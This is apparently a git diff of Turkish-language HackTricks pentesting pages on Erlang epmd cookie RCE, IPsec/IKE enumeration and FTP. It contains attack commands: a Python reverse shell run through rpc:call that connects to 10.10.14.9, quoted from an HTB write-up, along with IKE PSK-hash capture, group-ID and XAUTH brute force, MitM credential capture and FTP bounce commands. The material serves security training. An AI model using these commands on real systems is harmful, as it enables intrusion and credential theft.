- Sınıfların örneklerini kullanarak örneğin fonksiyonlarını çağırmak mümkün değil. Ve yeni sınıf örnekleri oluşturup bunları fonksiyonları çağırmak için kullanamıyorsunuz.
- Uygulama tarafından kullanılan tüm yaygın kripto yöntemlerini hooklamak için (sslpinnin için olan gibi) şifrelenmiş metin, düz metin, anahtarlar, IV'ler ve kullanılan algoritmaları görmek için bir kısayol yok.
- Uygulama tarafından kullanılan tüm yaygın kripto yöntemlerini hooklamak için (sslpinnin için olan gibi) şifrelenmiş metin, düz metin, anahtarlar, IV'ler ve kullanılan algoritmaları görmek için bir kısayol yok.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,7 +2,7 @@
# Temel Bilgiler
**Erlang Port Mapper Daemon (epmd)**, dağıtık Erlang örnekleri için bir koordinatör olarak hizmet eder. Sembolik düğüm adlarını makine adreslerine eşlemekten sorumludur ve temelde her düğüm adının belirli bir adresle ilişkilendirilmesini sağlar. **epmd**'nin bu rolü, farklı Erlang düğümleri arasında ağ üzerinden kesintisiz etkileşim ve iletişim için kritik öneme sahiptir.
**Erlang Port Mapper Daemon (epmd)**, dağıtık Erlang örnekleri için bir koordinatör olarak hizmet eder. Sembolik düğüm adlarını makine adreslerine eşlemekten sorumludur; bu, her düğüm adının belirli bir adresle ilişkilendirilmesini sağlar. **epmd**'nin bu rolü, farklı Erlang düğümleri arasında ağ üzerinde kesintisiz etkileşim ve iletişim için kritik öneme sahiptir.
**Varsayılan port**: 4369
```
@ -40,9 +40,9 @@ PORT STATE SERVICE VERSION
```
# Erlang Cookie RCE
## Uzaktan Bağlantı
## Remote Connection
Eğer **Kimlik Doğrulama çerezini sızdırabilirseniz** host üzerinde kod çalıştırabilirsiniz. Genellikle, bu çerez `~/.erlang.cookie` konumunda bulunur ve erlang tarafından ilk başlatıldığında oluşturulur. Eğer değiştirilmemiş veya manuel olarak ayarlanmamışsa, 20 karakter uzunluğunda [A:Z] aralığında rastgele bir dizedir.
Eğer **Authentication cookie'sini sızdırabilirseniz**, host üzerinde kod çalıştırabilirsiniz. Genellikle, bu cookie `~/.erlang.cookie` içinde bulunur ve erlang tarafından ilk başlatıldığında oluşturulur. Eğer değiştirilmemiş veya manuel olarak ayarlanmamışsa, 20 karakter uzunluğunda \[A:Z] aralığında rastgele bir dizedir.
```bash
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
@ -57,7 +57,9 @@ At last, we can start an erlang shell on the remote system.
Daha fazla bilgi için [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
Yazar ayrıca çerezi zorlamak için bir program paylaşıyor:
{% file src="../images/epmd_bf-0.1.tar.bz2" %}
{{#file}}
epmd_bf-0.1.tar.bz2
{{#endfile}}
## Yerel Bağlantı
@ -69,7 +71,7 @@ HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
```
Örnek [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution) adresinden alınmıştır.\
**Bu ığı** **istismar etmeyi** **pratik yapmak için** **Canape HTB makinesini** kullanabilirsiniz.
**Bu zafiyeti nasıl istismar edeceğinizi** **pratik yapmak için** **Canape HTB makinesini** kullanabilirsiniz.
## Metasploit
```bash

View File

@ -4,13 +4,13 @@
## Temel Bilgiler
**IPsec**, ağlar (LAN-to-LAN) arasında ve uzaktan kullanıcıların ağ geçidine (uzaktan erişim) iletişimlerini güvence altına almak için ana teknoloji olarak geniş çapta tanınmaktadır ve kurumsal VPN çözümlerinin belkemiğini oluşturur.
**IPsec**, ağlar arasında (LAN-to-LAN) ve uzaktan kullanıcıların ağ geçidine (uzaktan erişim) iletişimini güvence altına almak için ana teknoloji olarak geniş çapta tanınmaktadır ve kurumsal VPN çözümlerinin belkemiğini oluşturur.
İki nokta arasında bir **güvenlik ilişkisi (SA)** kurulumu, kimlik doğrulama ve anahtar değişimi için tasarlanmış bir protokol olan ISAKMP çerçevesinde çalışan **IKE** tarafından yönetilmektedir. Bu süreç birkaç aşamada gerçekleşir:
- **Aşama 1:** İki uç nokta arasında güvenli bir kanal oluşturulur. Bu, bir Önceden Paylaşılan Anahtar (PSK) veya sertifikalar kullanılarak, üç mesaj çiftini içeren ana mod veya **agresif mod** kullanılarak gerçekleştirilir.
- **Aşama 1.5:** Zorunlu olmamakla birlikte, Genişletilmiş Kimlik Doğrulama Aşaması olarak bilinen bu aşama, bağlanmaya çalışan kullanıcının kimliğini doğrulamak için bir kullanıcı adı ve şifre gerektirir.
- **Aşama 2:** Bu aşama, verileri güvence altına almak için **ESP** ve **AH** ile parametrelerin müzakere edilmesine adanmıştır. **Perfect Forward Secrecy (PFS)** sağlamak için Aşama 1'deki algoritmalardan farklı algoritmaların kullanılmasına izin verir, güvenliği artırır.
- **Aşama 2:** Bu aşama, verileri güvence altına almak için **ESP** ve **AH** ile parametrelerin müzakere edilmesine adanmıştır. **Mükemmel İleri Gizlilik (PFS)** sağlamak için Aşama 1'deki algoritmalardan farklı algoritmaların kullanılmasına izin verir, güvenliği artırır.
**Varsayılan port:** 500/udp
@ -26,11 +26,11 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
## **Geçerli bir dönüşüm bulma**
IPSec yapılandırması yalnızca bir veya birkaç dönüşümü kabul etmek üzere hazırlanabilir. Bir dönüşüm, değerlerin bir kombinasyonudur. **Her dönüşüm**, DES veya 3DES gibi **şifreleme algoritması**, SHA veya MD5 gibi **bütünlük algoritması**, önceden paylaşılan bir anahtar gibi **kimlik doğrulama türü**, Diffie-Hellman 1 veya 2 gibi anahtar **dağıtım algoritması** ve 28800 saniye gibi **ömür** gibi bir dizi özellik içerir.
IPSec yapılandırması yalnızca bir veya birkaç dönüşümü kabul edecek şekilde hazırlanabilir. Bir dönüşüm, değerlerin bir kombinasyonudur. **Her dönüşüm**, DES veya 3DES gibi **şifreleme algoritması**, SHA veya MD5 gibi **bütünlük algoritması**, önceden paylaşılan bir anahtar gibi **kimlik doğrulama türü**, Diffie-Hellman 1 veya 2 gibi anahtar **dağıtım algoritması** ve 28800 saniye gibi **ömür** gibi bir dizi özellik içerir.
Bu nedenle, yapmanız gereken ilk şey **geçerli bir dönüşüm bulmak**tır, böylece sunucu sizinle iletişim kuracaktır. Bunu yapmak için **ike-scan** aracını kullanabilirsiniz. Varsayılan olarak, Ike-scan ana modda çalışır ve bir ISAKMP başlığı ile birlikte bir paketi geçide gönderir ve **içinde sekiz dönüşüm bulunan** tek bir öneri gönderir.
O halde, yapmanız gereken ilk şey **geçerli bir dönüşüm bulmak**tır, böylece sunucu sizinle iletişim kuracaktır. Bunu yapmak için **ike-scan** aracını kullanabilirsiniz. Varsayılan olarak, Ike-scan ana modda çalışır ve bir ISAKMP başlığı ile birlikte bir paketi geçide gönderir ve **içinde sekiz dönüşüm bulunan** tek bir öneri gönderir.
Aldığınız yanıta bağlı olarak, uç nokta hakkında bazı bilgiler elde edebilirsiniz:
Cevaba bağlı olarak, uç nokta hakkında bazı bilgiler elde edebilirsiniz:
```
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
@ -41,7 +41,7 @@ VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
```
Önceki yanıtta görebileceğiniz gibi, **AUTH** adında bir alan var ve değeri **PSK**. Bu, vpn'nin bir önceden paylaşılan anahtar kullanılarak yapılandırıldığı anlamına gelir (ve bu bir pentester için gerçekten iyi).\
Önceki yanıtta görebileceğiniz gibi, **AUTH** adında bir alan var ve değeri **PSK**. Bu, vpn'nin bir önceden paylaşılan anahtar kullanılarak yapılandırıldığı anlamına gelir (ve bu, bir pentester için gerçekten iyi).\
**Son satırın değeri de çok önemlidir:**
- _0 dönen el sıkışma; 0 dönen bildirim:_ Bu, hedefin **bir IPsec geçidi olmadığını** gösterir.
@ -50,7 +50,7 @@ Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 retur
Bu durumda zaten geçerli bir dönüşümümüz var, ancak 3. durumda iseniz, geçerli bir dönüşüm bulmak için **biraz brute-force yapmanız gerekir:**
Öncelikle tüm olası dönüşümleri oluşturmanız gerekir:
Öncelikle, tüm olası dönüşümleri oluşturmanız gerekir:
```bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
```
@ -62,9 +62,9 @@ Eğer brute-force işe yaramadıysa, belki de sunucu, geçerli dönüşümlere b
```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
Umarım **geçerli bir dönüş geri yansıtılır**.\
Umarım **geçerli bir dönüşüm geri yansıtılır**.\
Aynı **saldırıyı** [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) kullanarak deneyebilirsiniz.\
Ayrıca dönüşü zorlamak için [**ikeforce**](https://github.com/SpiderLabs/ikeforce) kullanmayı da deneyebilirsiniz:
Ayrıca dönüşümleri kaba kuvvetle denemek için [**ikeforce**](https://github.com/SpiderLabs/ikeforce) kullanabilirsiniz:
```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
```
@ -77,7 +77,7 @@ Cisco, DH grupları 1 ve 2'nin yeterince güçlü olmadığını belirterek kull
### Sunucu parmak izi alma
Daha sonra, cihazın **satıcısını keşfetmek** için ike-scan kullanabilirsiniz. Araç, başlangıç önerisi gönderir ve tekrar oynamayı durdurur. Ardından, sunucudan alınan **mesajlar** ile eşleşen yanıt deseninin **zaman** farkını **analiz** ederek, pentester VPN geçidi satıcısını başarıyla parmak izi alabilir. Ayrıca, bazı VPN sunucuları IKE ile birlikte isteğe bağlı **Satıcı Kimliği (VID) yükünü** kullanacaktır.
Daha sonra, cihazın **satıcısını keşfetmek** için ike-scan kullanabilirsiniz. Araç, bir başlangıç önerisi gönderir ve tekrar oynamayı durdurur. Ardından, sunucudan alınan **mesajlar** ile eşleşen yanıt deseninin **zaman** farkını **analiz** ederek, pentester VPN geçidi satıcısını başarıyla parmak izi alabilir. Dahası, bazı VPN sunucuları IKE ile isteğe bağlı **Satıcı Kimliği (VID) yükünü** kullanacaktır.
**Gerekirse geçerli dönüşümü belirtin** (using --trans)
@ -105,42 +105,44 @@ Bu, nmap script _**ike-version**_ ile de gerçekleştirilebilir.
## Doğru ID'yi (grup adını) bulma
Hash'i yakalamak için geçerli bir dönüşüm ve doğru ID (grup adı) gereklidir. Geçerli grup adını muhtemelen bilemeyeceksiniz, bu yüzden bunu brute-force ile denemeniz gerekecek.\
Hash'i yakalamak için geçerli bir dönüşüm ve doğru ID (grup adı) gereklidir. Geçerli grup adını bilmeyeceksiniz, bu yüzden bunu brute-force ile denemeniz gerekecek.\
Bunu yapmak için size 2 yöntem öneririm:
### ike-scan ile ID'yi Bruteforce Etme
### ike-scan ile ID'yi brute-force yapmak
Öncelikle, hash'i toplamak için sahte bir ID ile bir istek yapmayı deneyin ("-P"):
```bash
ike-scan -P -M -A -n fakeID <IP>
```
Eğer **hiçbir hash döndürülmezse**, bu durumda bu brute forcing yöntemi muhtemelen işe yarayacaktır. **Eğer bazı hash'ler döndürülürse, bu sahte bir ID için sahte bir hash'in geri gönderileceği anlamına gelir, bu nedenle bu yöntem ID'yi brute-force etmek için güvenilir olmayacaktır.** Örneğin, sahte bir hash döndürülebilir (bu modern versiyonlarda olur):
Eğer **hiçbir hash döndürülmüyorsa**, bu durumda bu brute forcing yöntemi muhtemelen işe yarayacaktır. **Eğer bazı hash'ler döndürülüyorsa, bu sahte bir ID için sahte bir hash'in geri gönderileceği anlamına gelir, bu nedenle bu yöntem ID'yi brute-force etmek için güvenilir olmayacaktır.** Örneğin, sahte bir hash döndürülebilir (bu modern versiyonlarda olur):
![](<../images/image (917).png>)
Ama dediğim gibi, eğer hiçbir hash döndürülmezse, o zaman ike-scan kullanarak yaygın grup isimlerini brute-force etmeyi denemelisiniz.
Ama dediğim gibi, eğer hiçbir hash döndürülmüyorsa, o zaman ike-scan kullanarak yaygın grup isimlerini brute-force etmeyi denemelisiniz.
Bu script **mümkün olan ID'leri brute-force etmeyi deneyecek** ve geçerli bir el sıkışma döndürülen ID'leri geri döndürecektir (bu geçerli bir grup adı olacaktır).
Bu script **mümkün olan ID'leri brute-force etmeyi deneyecek** ve geçerli bir el sıkışma döndürülen ID'leri geri verecektir (bu geçerli bir grup adı olacaktır).
Eğer belirli bir dönüşüm keşfettiyseniz, bunu ike-scan komutuna ekleyin. Ve eğer birkaç dönüşüm keşfettiyseniz, hepsini denemek için yeni bir döngü eklemekten çekinmeyin (birinin düzgün çalışana kadar hepsini denemelisiniz).
Yaygın grup isimlerini brute-force etmek için [ikeforce sözlüğünü](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) veya [seclists'teki](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) sözlüğü kullanabilirsiniz:
Yaygın grup isimlerini brute-force etmek için [ikeforce sözlüğünü](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) veya [seclists'teki](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) birini kullanabilirsiniz:
```bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
{% file src="../images/vpnIDs.txt" %}
{{#file}}
vpnIDs.txt
{{#endfile}}
### Iker ile ID Kırma
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) ayrıca olası grup adlarını kırmak için **ike-scan** kullanır. **ike-scan çıktısına dayanarak geçerli bir ID bulmak için kendi yöntemini** izler.
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) ayrıca olası grup adlarını kırmak için **ike-scan** kullanır. **ike-scan çıktısına dayanarak geçerli bir ID bulmak için** kendi yöntemini izler.
### ikeforce ile ID Kırma
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) **ID'leri kırmak için de kullanılabilen** bir araçtır. Bu araç, **geçerli ve geçersiz bir ID'yi ayırt etmek için kullanılabilecek farklı zafiyetleri istismar etmeye çalışacaktır** (yanlış pozitifler ve yanlış negatifler olabilir, bu yüzden mümkünse ike-scan yöntemini kullanmayı tercih ediyorum).
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) **ID'leri kırmak için** kullanılabilecek bir araçtır. Bu araç, **geçerli ve geçersiz bir ID'yi ayırt etmek için kullanılabilecek farklı zafiyetleri istismar etmeye çalışacaktır** (yanlış pozitifler ve yanlış negatifler olabilir, bu yüzden mümkünse ike-scan yöntemini kullanmayı tercih ediyorum).
Varsayılan olarak **ikeforce**, sunucunun davranışını kontrol etmek ve kullanılacak taktiği belirlemek için başlangıçta bazı rastgele ID'ler gönderir.
Varsayılan olarak **ikeforce**, başlangıçta sunucunun davranışını kontrol etmek ve kullanılacak taktiği belirlemek için bazı rastgele ID'ler gönderir.
- **Birinci yöntem**, grup adlarını **araştırarak** **Dead Peer Detection DPD** bilgilerini Cisco sistemlerinden kırmaktır (bu bilgi yalnızca grup adı doğruysa sunucu tarafından yanıtlanır).
- **Birinci yöntem**, grup adlarını **araştırarak** **Dead Peer Detection DPD** bilgilerini kırmaktır (bu bilgi, grup adı doğruysa yalnızca sunucu tarafından yanıtlanır).
- **İkinci yöntem**, her denemeye gönderilen yanıt sayısını **kontrol etmektir** çünkü bazen doğru ID kullanıldığında daha fazla paket gönderilir.
- **Üçüncü yöntem**, yanlış ID'ye yanıt olarak **"INVALID-ID-INFORMATION"** aramaktır.
- Son olarak, sunucu kontrollerine hiçbir yanıt vermezse, **ikeforce** sunucuyu kırmaya çalışacak ve doğru ID gönderildiğinde sunucunun bazı paketlerle yanıt verip vermediğini kontrol edecektir.\
@ -157,7 +159,7 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```
### Sniffing ID
(From the book **Network Security Assessment: Know Your Network**): VPN istemcisi ve sunucusu arasındaki bağlantıyı dinleyerek geçerli kullanıcı adları elde etmek de mümkündür, çünkü istemci kimliğini içeren ilk agresif mod paketi açık bir şekilde gönderilir.
(From the book **Network Security Assessment: Know Your Network**): VPN istemcisi ile sunucu arasındaki bağlantıyı dinleyerek geçerli kullanıcı adları elde etmek de mümkündür, çünkü istemci kimliğini içeren ilk agresif mod paketi açık bir şekilde gönderilmektedir.
![](<../images/image (891).png>)
@ -167,17 +169,17 @@ Son olarak, eğer **geçerli bir dönüşüm** ve **grup adı** bulduysanız ve
```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
```
Hash, _hash.txt_ dosyasının içine kaydedilecektir.
Hash, _hash.txt_ dosyasına kaydedilecektir.
Hash'i **crack** etmek için **psk-crack**, **john** ( [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py) kullanarak) ve **hashcat** kullanabilirsiniz:
**psk-crack**, **john** ([**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py) kullanarak) ve **hashcat** kullanarak hash'i **çözebilirsiniz**:
```bash
psk-crack -d <Wordlist_path> psk.txt
```
## **XAuth**
**Agresif mod IKE** ile **Önceden Paylaşılan Anahtar (PSK)** genellikle **grup kimlik doğrulama** amaçları için kullanılır. Bu yöntem, ek bir **kullanıcı kimlik doğrulama** katmanı ekleyen **XAuth (Genişletilmiş Kimlik Doğrulama)** ile güçlendirilmiştir. Bu tür kimlik doğrulama genellikle **Microsoft Active Directory**, **RADIUS** veya benzeri sistemler gibi hizmetleri kullanır.
**Aggressive mode IKE** ile birlikte kullanılan **Önceden Paylaşılan Anahtar (PSK)** genellikle **grup kimlik doğrulama** amaçları için tercih edilir. Bu yöntem, ek bir **kullanıcı kimlik doğrulama** katmanı ekleyen **XAuth (Genişletilmiş Kimlik Doğrulama)** ile güçlendirilmiştir. Bu tür kimlik doğrulama genellikle **Microsoft Active Directory**, **RADIUS** veya benzeri sistemler gibi hizmetleri kullanır.
**IKEv2**'ye geçişte, kullanıcıları kimlik doğrulamak için **XAuth** yerine **EAP (Genişletilebilir Kimlik Doğrulama Protokolü)** kullanıldığına dair önemli bir değişiklik gözlemlenmektedir. Bu değişiklik, güvenli iletişim protokollerindeki kimlik doğrulama uygulamalarında bir evrimi vurgular.
**IKEv2**'ye geçildiğinde, kullanıcıları kimlik doğrulamak için **XAuth** yerine **EAP (Genişletilebilir Kimlik Doğrulama Protokolü)** kullanıldığına dair önemli bir değişim gözlemlenir. Bu değişim, güvenli iletişim protokollerindeki kimlik doğrulama uygulamalarında bir evrimi vurgular.
### Yerel ağ MitM ile kimlik bilgilerini yakalama
@ -185,11 +187,11 @@ Bu nedenle, _fiked_ kullanarak giriş verilerini yakalayabilir ve varsayılan bi
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
Ayrıca, IPSec kullanarak bir MitM saldırısı yapmayı ve port 500'e giden tüm trafiği engellemeyi deneyin, eğer IPSec tüneli kurulamazsa belki trafik açık olarak gönderilecektir.
Ayrıca, IPSec kullanarak bir MitM saldırısı yapmayı ve tüm trafiği 500 numaralı porta engellemeyi deneyin, eğer IPSec tüneli kurulamazsa belki trafik açık olarak gönderilecektir.
### XAUTH kullanıcı adı ve şifresini ikeforce ile brute-force yapmak
### XAUTH kullanıcı adı ve şifresini ikeforce ile brute force ile kırma
**XAUTH**'ı brute force yapmak için (geçerli bir grup adı **id** ve **psk** bildiğinizde) bir kullanıcı adı veya kullanıcı adları listesi ve bir şifreler listesi kullanabilirsiniz:
**XAUTH**'ı brute force ile kırmak için (geçerli bir grup adı **id** ve **psk** bildiğinizde) bir kullanıcı adı veya kullanıcı adları listesi ve bir şifreler listesi kullanabilirsiniz:
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
@ -199,7 +201,7 @@ Eğer bir veya birkaç geçerli dönüşüm bulduysanız, bunları önceki adım
## IPSEC VPN ile Kimlik Doğrulama
Kali'de, **VPNC** IPsec tünellerini kurmak için kullanılır. **profiller** `/etc/vpnc/` dizininde bulunmalıdır. Bu profilleri _**vpnc**_ komutunu kullanarak başlatabilirsiniz.
Kali'de, **VPNC** IPsec tünelleri kurmak için kullanılır. **profiller** `/etc/vpnc/` dizininde bulunmalıdır. Bu profilleri _**vpnc**_ komutunu kullanarak başlatabilirsiniz.
Aşağıdaki komutlar ve yapılandırmalar, VPNC ile bir VPN bağlantısı kurma sürecini göstermektedir:
```bash
@ -219,7 +221,7 @@ Bu kurulumda:
- `[VPN_GATEWAY_IP]` ile VPN geçidinin gerçek IP adresini değiştirin.
- `[VPN_CONNECTION_ID]` ile VPN bağlantısının tanımlayıcısını değiştirin.
- `[VPN_GROUP_SECRET]` ile VPN'nin grup sırrını değiştirin.
- `[VPN_GROUP_SECRET]` ile VPN'nin grup gizli anahtarını değiştirin.
- `[VPN_USERNAME]` ve `[VPN_PASSWORD]` ile VPN kimlik doğrulama bilgilerini değiştirin.
- `[PID]`, `vpnc` başlatıldığında atanacak işlem kimliğini simgeler.

View File

@ -4,7 +4,7 @@
## Temel Bilgiler
**Dosya Transfer Protokolü (FTP)**, bir sunucu ile bir istemci arasında bir bilgisayar ağı üzerinden dosya transferi için standart bir protokol olarak hizmet eder.\
**File Transfer Protocol (FTP)**, bir sunucu ile bir istemci arasında bir bilgisayar ağı üzerinden dosya transferi için standart bir protokol olarak hizmet eder.\
Bu, **düz metin** protokolüdür ve **yeni satır karakteri `0x0d 0x0a`** kullanır, bu nedenle bazen **`telnet`** veya **`nc -C`** kullanarak **bağlanmanız** gerekebilir.
**Varsayılan Port:** 21
@ -12,13 +12,13 @@ Bu, **düz metin** protokolüdür ve **yeni satır karakteri `0x0d 0x0a`** kulla
PORT STATE SERVICE
21/tcp open ftp
```
### Aktif ve Pasif Bağlantılar
### Bağlantılar Aktif & Pasif
**Aktif FTP**'de FTP **istemcisi** önce kontrol **bağlantısını** kendi N portundan FTP Sunucusunun komut portuna - port 21'e **başlatır**. **İstemci** daha sonra N+1 portunu dinler ve N+1 portunu FTP Sunucusuna gönderir. FTP **Sunucusu** daha sonra veri **bağlantısını** **M portundan N+1 portuna** FTP İstemcisinin başlatır.
**Aktif FTP**'de FTP **istemcisi** önce kontrol **bağlantısını** kendi N portundan FTP Sunucusunun komut portuna - port 21'e **başlatır**. **İstemci** daha sonra N+1 portunu dinler ve N+1 portunu FTP Sunucusuna gönderir. FTP **Sunucusu** daha sonra veri **bağlantısını** **M portundan** FTP İstemcisinin N+1 portuna **başlatır**.
Ancak, eğer FTP İstemcisinin dışarıdan gelen veri bağlantılarını kontrol eden bir güvenlik duvarı varsa, o zaman aktif FTP bir sorun olabilir. Bunun için uygulanabilir bir çözüm Pasif FTP'dir.
**Pasif FTP**'de istemci kontrol bağlantısını kendi N portundan FTP Sunucusunun 21 portuna başlatır. Bunun ardından istemci bir **passv komutu** gönderir. Sunucu daha sonra istemciye kendi M port numarasını gönderir. Ve **istemci** veri **bağlantısını** **P portundan M portuna** FTP Sunucusunun başlatır.
**Pasif FTP**'de istemci kontrol bağlantısını kendi N portundan FTP Sunucusunun 21 portuna başlatır. Bunun ardından istemci bir **passv komutu** gönderir. Sunucu daha sonra istemciye kendi port numarasını M gönderir. Ve **istemci** veri **bağlantısını** **P portundan** FTP Sunucusunun M portuna **başlatır**.
Kaynak: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
@ -33,7 +33,7 @@ Kaynak: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-att
nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
```
### Starttls kullanarak FTP'ye bağlan
### Starttls kullanarak FTP'ye bağlanın
```
lftp
lftp :~> set ftp:ssl-force true
@ -45,11 +45,11 @@ lftp 10.10.10.208:~> login username Password
```
### Unauth enum
**nmap** ile
With **nmap**
```bash
sudo nmap -sV -p21 -sC -A 10.10.10.10
```
`HELP` ve `FEAT` komutlarını kullanarak FTP sunucusundan bazı bilgiler alabilirsiniz:
FTP sunucusundan bazı bilgileri almak için `HELP` ve `FEAT` komutlarını kullanabilirsiniz:
```
HELP
214-The following commands are recognized (* =>'s unimplemented):
@ -85,7 +85,7 @@ SIZE
STAT
#Info about the FTP server (version, configs, status...)
```
### Anonim giriş
### Anonymous login
_anonymous : anonymous_\
\&#xNAN;_anonymous :_\
@ -101,21 +101,21 @@ ftp <IP>
```
### [Brute force](../../generic-hacking/brute-force.md#ftp)
Burada varsayılan ftp kimlik bilgileriyle ilgili güzel bir liste bulabilirsiniz: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
Burada varsayılan ftp kimlik bilgileriyle güzel bir liste bulabilirsiniz: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
### Automated
Anon giriş ve bounce FTP kontrolleri varsayılan olarak nmap ile **-sC** seçeneğiyle gerçekleştirilir veya:
Anon giriş ve bounce FTP kontrolleri varsayılan olarak nmap ile **-sC** seçeneğiyle gerçekleştirilir:
```bash
nmap --script ftp-* -p 21 <ip>
```
## Tarayıcı bağlantısı
Bir FTP sunucusuna bir URL kullanarak (Firefox gibi) bağlanabilirsiniz:
Bir FTP sunucusuna bir tarayıcı (Firefox gibi) kullanarak şu şekilde bir URL ile bağlanabilirsiniz:
```bash
ftp://anonymous:anonymous@10.10.10.98
```
Not edin ki eğer bir **web uygulaması** kullanıcı tarafından kontrol edilen verileri **doğrudan bir FTP sunucusuna** gönderiyorsa, çift URL kodlaması `%0d%0a` (çift URL kodlamada bu `%250d%250a`) baytlarını gönderebilir ve **FTP sunucusunun keyfi eylemler** gerçekleştirmesini sağlayabilirsiniz. Bu olası keyfi eylemlerden biri, bir kullanıcının kontrolündeki sunucudan içerik indirmek, port taraması yapmak veya diğer düz metin tabanlı hizmetlerle (örneğin http) iletişim kurmaya çalışmaktır.
Not edin ki eğer bir **web uygulaması** kullanıcı tarafından kontrol edilen verileri **doğrudan bir FTP sunucusuna** gönderiyorsa, çift URL kodlaması `%0d%0a` (çift URL kodlamada bu `%250d%250a`) baytlarını gönderebilir ve **FTP sunucusunun keyfi eylemler** gerçekleştirmesini sağlayabilirsiniz. Bu olası keyfi eylemlerden biri, kullanıcı tarafından kontrol edilen bir sunucudan içerik indirmek, port taraması yapmak veya diğer düz metin tabanlı hizmetlerle (örneğin http) iletişim kurmaya çalışmaktır.
## FTP'den tüm dosyaları indirin
```bash
@ -131,8 +131,8 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
- **`USER username`**
- **`PASS password`**
- **`HELP`** Sunucu hangi komutların desteklendiğini belirtir
- **`PORT 127,0,0,1,0,80`** Bu, FTP sunucusuna 127.0.0.1 IP'si ile 80 numaralı portta bir bağlantı kurmasını belirtir (_5. karakteri "0" ve 6. karakteri ondalık olarak port olarak koymalısınız ya da 5. ve 6. karakteri hex olarak portu ifade etmek için kullanmalısınız_).
- **`EPRT |2|127.0.0.1|80|`** Bu, FTP sunucusuna 127.0.0.1 IP'si ile 80 numaralı portta bir TCP bağlantısı kurmasını belirtir (_"2" ile belirtilmiştir_). Bu komut **IPv6 destekler**.
- **`PORT 127,0,0,1,0,80`** Bu, FTP sunucusuna IP 127.0.0.1 ile port 80'de bir bağlantı kurmasını belirtir (_5. karakteri "0" ve 6. karakteri ondalık olarak port olarak koymalısınız ya da 5. ve 6. karakteri hex olarak portu ifade etmek için kullanmalısınız_).
- **`EPRT |2|127.0.0.1|80|`** Bu, FTP sunucusuna IP 127.0.0.1 ile port 80'de bir TCP bağlantısı kurmasını belirtir (_"2" ile belirtilmiştir_). Bu komut **IPv6 destekler**.
- **`LIST`** Bu, mevcut klasördeki dosyaların listesini gönderir
- **`LIST -R`** Rekürsif liste (sunucu tarafından izin verilirse)
- **`APPE /path/something.txt`** Bu, FTP'ye **pasif** bir bağlantıdan veya **PORT/EPRT** bağlantısından alınan verileri bir dosyaya kaydetmesini belirtir. Dosya adı mevcutsa, verileri ekler.
